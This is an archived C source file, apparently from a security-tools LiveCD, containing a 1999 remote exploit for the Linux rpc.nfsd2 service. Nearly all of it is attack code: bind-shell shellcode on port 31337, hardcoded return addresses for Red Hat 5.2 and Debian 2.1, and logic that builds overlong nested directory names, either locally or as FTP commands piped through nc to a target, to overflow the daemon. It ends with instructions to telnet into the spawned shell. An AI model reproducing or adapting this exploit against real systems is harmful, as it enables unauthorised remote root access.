home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / rpc / nfsd2.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  238 lines

  1. /*
  2.  * rpc.nfsd2 exploit for Linux 
  3.  *
  4.  * today is 4/07/99 (3 months after 1st version;)
  5.  * 
  6.  * changes in v.2:
  7.  * That version can be used for FULL remote exploiting, I changed/added
  8.  * two important things:
  9.  *         - new shellcode: sh on defined port
  10.  *         - creating dirs via ftp
  11.  * Now you can hack box remotely if you have +w via ftp. 
  12.  * (./3nfsd2 -e /home/ftp/incoming -f /incoming) | nc target 21
  13.  *  
  14.  * author: tmoggie
  15.  * greetz: 
  16.  *         DiGiT      - bug 
  17.  *         maxiu      - help with shellcode 
  18.  *         lam3rZ GrP - :)
  19.  *                                  
  20.  */
  21.  
  22. #include <sys/stat.h>
  23. #include <sys/types.h>
  24. #include <stdio.h>
  25. #include <fcntl.h>
  26. #include <unistd.h>
  27. #include <string.h>
  28.  
  29. #define green "\E[32m"
  30. #define bold "\E[1m"
  31. #define normal "\E[m"
  32. #define red "\E[31m"
  33.  
  34.  
  35. char shell[255] =
  36.   "\xeb\x70\x31\xc9\x31\xdb\x31\xc0\xb0\x46\xcd\x80\x5e\x83\xc6\x0f\x89\x46"
  37.   "\x10\x89\x46\x14\x89\x46\x18\xb0\x02\x89\x06\x89\x46\x0c\xb0\x06\x89\x46"
  38.   "\x08\x31\xc0\xfe\xc3\x89\x5e\x04\xb0\x66\x89\xf1\xcd\x80\x89\x06\xb0\x30"
  39.   "\x31\xdb\x31\xc9\xb3\x0e\xfe\xc1\xcd\x80\x66\xb8\x69\x7a\x86\xc4\x66\x89"
  40.   "\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31\xc0\xb0\x10\x89\x46\x08\xb0\x66\x31"
  41.   "\xdb\xb3\x02\x89\xf1\xcd\x80\x31\xc0\xfe\xc0\x89\x46\x04\xb0\x66\xb3\x04"
  42.   "\x89\xf1\xcd\x80\xeb\x04\xeb\x60\xeb\x8c\x89\x46\x0c\x8d\x46\x0c\x89\x46"
  43.   "\x04\x89\x46\x08\xc6\x46\x0c\x10\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x89\xf1"
  44.   "\xcd\x80\x83\xee\x0f\x89\xc3\x31\xc9\x89\x4e\x14\xb0\x3f\xcd\x80\x41\xb0"
  45.   "\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xfe\x06\xfe\x46\x04\x88\x66\x07\x88\x66"
  46.   "\x0b\x89\x76\x0c\x8d\x46\x09\x89\x46\x10\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
  47.   "\x0c\x8d\x56\x10\xcd\x80\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\xe8\x9b\xff\xff";
  48. char next[] = "\xff\x2e\x62\x69\x6e\x2e\x73\x68\x41\x41\x2d\x69";
  49. char mark[] = "\xff\xff\xff";
  50.  
  51. int port = 31337;
  52. int offset;
  53.  
  54.  
  55. void usage(char *prog)
  56. {
  57.   printf("\nusage: %s <-e dir> [-t target] [-s port] "
  58.          "[-f dir] [-u user] [-p pass]\n\n",prog);
  59.   printf("   -e dir    : real-path to exported direectory\n");
  60.   printf("   -t target    : target OS\n ");
  61.   printf("      1         - RH 5.2 (default) \n"
  62.          "      2         - Debian 2.1\n");
  63.   printf("   -s port    : shell port, default is 31337\n");
  64.   printf("   -f dir     : ftp-path to exported directory\n");
  65.   printf("   -u        : ftp username (default is ftp)\n");
  66.   printf("   -p        : ftp password (default is ftp@ftp.org\n\n");
  67.   exit(0);
  68. }
  69.  
  70.  
  71. void main(int argc, char **argv)
  72. {
  73.   int i,j;
  74.   int ftp=0;
  75.   char user[255]="ftp";
  76.   char pass[255]="ftp@ftp.org";
  77.   char buf[4096];
  78.   char buf2[4096];
  79.   char tmp[4096];
  80.   char tmp2[4096];
  81.   char exp[255] = "!";
  82.   char exp2[255]= "!";
  83.   char addr[] = "\x06\xf6\xff\xff\xbf";
  84.  
  85.  
  86.   while (1)
  87.     {
  88.       i = getopt(argc,argv,"t:e:s:f:u:p:");
  89.       if (i == -1) break;
  90.       switch (i)
  91.         {
  92.         case 'e':
  93.           strcpy(exp,optarg);
  94.           break;
  95.         case 's':
  96.           port = optarg;
  97.           break;
  98.         case 'f':
  99.           strcpy(exp2,optarg);
  100.           ftp = 1;
  101.           break;
  102.         case 'u':
  103.           strcpy(user,optarg);
  104.           break;
  105.         case 'p':
  106.           strcpy(pass,optarg);
  107.           break;
  108.         case 't':
  109.           switch (j=atoi(optarg))
  110.             {
  111.             case 1:
  112.               strcpy(addr,"\x06\xf6\xff\xff\xbf");
  113.               break; // debian 1.2
  114.             case 2:
  115.               strcpy(addr,"\x18\xf6\xff\xff\xbf");
  116.               break; // rh 5.2
  117.             }
  118.  
  119.         default :
  120.           usage(argv[0]);
  121.           break;
  122.         }
  123.     }
  124.   if (!strcmp(exp,"!")) usage(argv[0]);
  125.   if (ftp == 1)
  126.     {
  127.       // sockets, resolve, connect......
  128.     }
  129.  
  130.   *((unsigned short *) (shell + 66)) = port;
  131.  
  132.   offset = strlen(exp);
  133.   if (exp[offset-1] != '/') strcat(exp,"/");
  134.   offset = strlen(exp);
  135.   // 1st directory
  136.   bzero(buf,sizeof(buf));
  137.   memset(tmp,'A',255);
  138.   tmp[255]='/';
  139.   tmp[256]='\0';
  140.   strncpy(buf,exp,offset);
  141.   // make our dirs
  142.   if (ftp == 1)
  143.     {
  144.       printf("USER %s\n",user);
  145.       printf("PASS %s\n",pass);
  146.       printf("CWD %s\n",exp2);
  147.     }
  148.   for (i=1;i<=3;i++)
  149.     {
  150.       strncat(buf,tmp,strlen(tmp));
  151.       if (ftp != 1)
  152.         {
  153.           if (mkdir(buf,0777) < 0)
  154.             {
  155.               printf(red"...fuck! can't create directory!!! : %d\n%s\n"normal,i,buf);
  156.               exit(-1);
  157.             }
  158.         }
  159.       else
  160.         {
  161.           tmp[255]='\0';
  162.           printf("MKD %s\n",tmp);
  163.           printf("CWD %s\n",tmp);
  164.         }
  165.     }
  166.   // offset direcory, length depends on real-path
  167.   memset(tmp,'A',255);
  168.   tmp[255-offset]='/';
  169.   tmp[256-offset]='\0';
  170.   strncat(buf,tmp,strlen(tmp));
  171.   if (ftp != 1)
  172.     {
  173.       if (mkdir(buf,0777) < 0)
  174.         {
  175.           printf(red"...fuqn offset dirW#$#@%#$^%T#\n"normal);
  176.           exit(-1);
  177.         }
  178.     }
  179.   else
  180.     {
  181.       tmp[255-offset]='\0';
  182.       printf("MKD %s\n",tmp);
  183.       printf("CWD %s\n",tmp);
  184.     }
  185.   // shell directory
  186.   memset(tmp,'x',255);
  187.   // printf("%d\n", strlen(shell));
  188.   if (ftp == 1) strncat(shell,mark,strlen(mark));
  189.   // printf("%d\n", strlen(shell));
  190.   strncat(shell,next,strlen(next));
  191.   if (ftp == 1) i=3;
  192.   else i=0;
  193.   strcpy(tmp+(255+i-strlen(shell)),shell);
  194.   // printf("%d\n", strlen(shell));
  195.   strncat(buf,tmp,strlen(tmp));
  196.   strncat(buf,"/",strlen("/"));
  197.   if (ftp != 1)
  198.     {
  199.       if (mkdir(buf,0777) < 0)
  200.         {
  201.           printf(red"...fuck!@# shell-dir\n%s\n"normal, buf);
  202.           exit(-1);
  203.         }
  204.     }
  205.   else
  206.     {
  207.       tmp[258]='\0';
  208.       printf("MKD %s\n",tmp);
  209.       printf("CWD %s\n",tmp);
  210.     }
  211.   // addr direcotry
  212.   memset(tmp,'a',255);
  213.   tmp[97] = '\0';
  214.   //  *((int*)(tmp+93)) = addr;
  215.   // if (ftp != 1) *((int*)(tmp+93)) = 0xbffff606; // debian 2.1
  216.   // else {
  217.   strcpy(tmp+93,addr);
  218.   // }
  219.   strncat(buf,tmp,strlen(tmp));
  220.   if (ftp != 1)
  221.     {
  222.       if (mkdir(buf,0777) < 0)
  223.         {
  224.           printf(red"...fuck!@#!@#!$ addrez-dir ^\n%s\n"normal, buf);
  225.           exit(-1);
  226.         }
  227.     }
  228.   else
  229.     {
  230.       printf("MKD %s\n",tmp);
  231.       printf("quit\n",tmp);
  232.     }
  233.   fprintf(stderr,normal green"Ok\n"normal);
  234.   fprintf(stderr,"now you have to do: "bold green \
  235.           "rm -rf /path-to-mount-point/A[tab] & \n"
  236.           "and: telnet target %d\n\n"normal,port);
  237. }
  238. /*                    www.hack.co.za              [2000]*/